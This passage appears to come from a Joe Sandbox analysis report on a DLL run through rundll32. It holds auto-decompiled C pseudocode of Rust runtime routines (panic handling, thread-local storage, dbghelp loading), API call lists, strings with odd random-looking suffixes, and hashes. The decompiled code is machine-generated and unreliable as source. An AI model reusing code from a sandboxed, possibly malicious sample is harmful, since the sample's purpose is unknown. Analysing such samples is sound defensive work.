									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6e5ae128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6E55C640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6E5795A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6e59f860, 0x6e59ff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6E55C4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6E55C640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6e5a010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e55dca0;
										_v60 =  &_v100;
										_v56 = 0x6e55dca0;
										_v52 =  &_v148;
										_v48 = E6E55DCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E55D0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t245);
											}
											HeapFree( *0x6e5ae128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e5ae10c);
											_v68 = 0x6e59fad0;
											_v64 = 1;
											_v152 = 0x6e5ae10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E55DD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6E55D0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e5ae10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6E55C640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6E55DA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e5ae11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e5a029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e59f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6E55D0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6E55D2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6E55D290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6e5ad040 = 0;
											_t356 =  *0x6e5ad040;
											if( *0x6e5ad040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6e5a017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e59f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E55D0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t235);
											}
											HeapFree( *0x6e5ae128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6E55D000: TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D00B
Part of subcall function 6E55D000: TlsGetValue.KERNEL32(00000000), ref: 6E55D043

AcquireSRWLockShared.KERNEL32(6E5AE11C), ref: 6E55C785
HeapFree.KERNEL32(00000000,00000000), ref: 6E55C8DC
HeapFree.KERNEL32(00000000,?), ref: 6E55C8EA
TlsGetValue.KERNEL32(00000000), ref: 6E55C94D
TlsGetValue.KERNEL32(00000000), ref: 6E55CA47
HeapFree.KERNEL32(00000000,00000000), ref: 6E55CB31
HeapFree.KERNEL32(00000000,?), ref: 6E55CB3F
GetProcessHeap.KERNEL32 ref: 6E55CC18
HeapAlloc.KERNEL32(02CB0000,00000000,00000010), ref: 6E55CC2B
TlsSetValue.KERNEL32(00000000,00000000,02CB0000,00000000,00000010), ref: 6E55CC9C
HeapFree.KERNEL32(00000000,00000000,02CB0000,00000000,00000010), ref: 6E55CD1D

Strings

full, xrefs: 6E55CCF8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E55CC00
already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6E55CBE1
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E55C74D, 6E55C7C8

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: 38084a4f2274d5c722e3609167fb97f8699257f6ed4b9072427225710daae9cd
Instruction ID: 953e84680e9158b8d7fb2b2b63c88a01998cfad3893c879f67d3640799115dde
Opcode Fuzzy Hash: 38084a4f2274d5c722e3609167fb97f8699257f6ed4b9072427225710daae9cd
Instruction Fuzzy Hash: 5A1227709002198FEB10CFE8C8947AEBBF5FB49314F20856AD515AF350EB75A951CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E55E4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6E55E4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6E5639F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6e5ae124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6e5ae124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6e5ae130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6e5ae164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6e5ae134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6e5ae138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6e5ae13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6e5ae164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6e5ae130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6e5a04bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6e5ae13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6e5ae130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6e5a04ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6e5ae138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6E5794E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6e5a049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6E55E6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6e5ae134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6e5ae130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6E55E564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6E55E592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6E55E5C2
GetCurrentProcess.KERNEL32 ref: 6E55E5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E613

Part of subcall function 6E55E6D0: ReleaseMutex.KERNEL32(?,6E55E448), ref: 6E55E6D1

Strings

SymGetOptions, xrefs: 6E55E55E
Local\RustBacktraceMutex, xrefs: 6E55E5EC
dbghelp.dll, xrefs: 6E55E52E
called `Option::unwrap()` on a `None` value, xrefs: 6E55E651, 6E55E674, 6E55E697
SymSetOptions, xrefs: 6E55E587
SymInitializeW, xrefs: 6E55E5B7

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: e1b7788ba92f694df841c15bcdb985143981bb70ecf406d329767e4a51739e99
Instruction ID: 674401f905255fd3d308088592e266bdfa0e74f63892635a50ab8eb67b907e74
Opcode Fuzzy Hash: e1b7788ba92f694df841c15bcdb985143981bb70ecf406d329767e4a51739e99
Instruction Fuzzy Hash: C841D171E106519BEF50DFE8DC54BAE37E9AB86354F01083BE505AB381EF349C518BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E55C6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = 0x6e5639a0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6e5a01dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6e5ae120], esi");
				_t193 = E6E55D000(_t268, 0x6e5a01dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6E5795A0(_t268,  &M6E59F8F7, 0x46, _t349,  &_v68, 0x6e59f870, 0x6e59f9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e59f570;
						_v120 = 0x6e59f824;
						_v68 = 0x6e5a0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E552470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6E55D0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6e5ae128, 0, _t259);
							}
							_t197 = HeapFree( *0x6e5ae128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6e5a0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e59f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6E55D0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6e5ae11c);
					_v144 = 0x6e5ae11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6E55D000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6e5ae110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6E55D380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6E5795A0(_t268,  &M6E59F8F7, 0x46, _t352,  &_v68, 0x6e59f870, 0x6e59f9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6e5ad044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6e5ad044;
							_t205 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6e5ad044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6e5ad044;
								_t206 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6e5ae128; // 0x2cb0000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6e5ad044;
										_t340 = _t208;
										_t209 =  *0x6e5ad044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6E562960(_t268, 0x6e5ad044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6E5792F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6e5ae128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6e5ae110;
											 *0x6e5ae110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6e563290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6e5ae128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6E55C640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6E5795A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6e59f860, 0x6e59ff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6E55C4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6E55C640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6e5a010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e55dca0;
										_v60 =  &_v100;
										_v56 = 0x6e55dca0;
										_v52 =  &_v148;
										_v48 = E6E55DCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E55D0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t248);
											}
											HeapFree( *0x6e5ae128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e5ae10c);
											_v68 = 0x6e59fad0;
											_v64 = 1;
											_v152 = 0x6e5ae10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E55DD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6E55D0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e5ae10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6E55C640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6E55DA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e5ae11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e5a029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e59f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6E55D0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6E55D2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
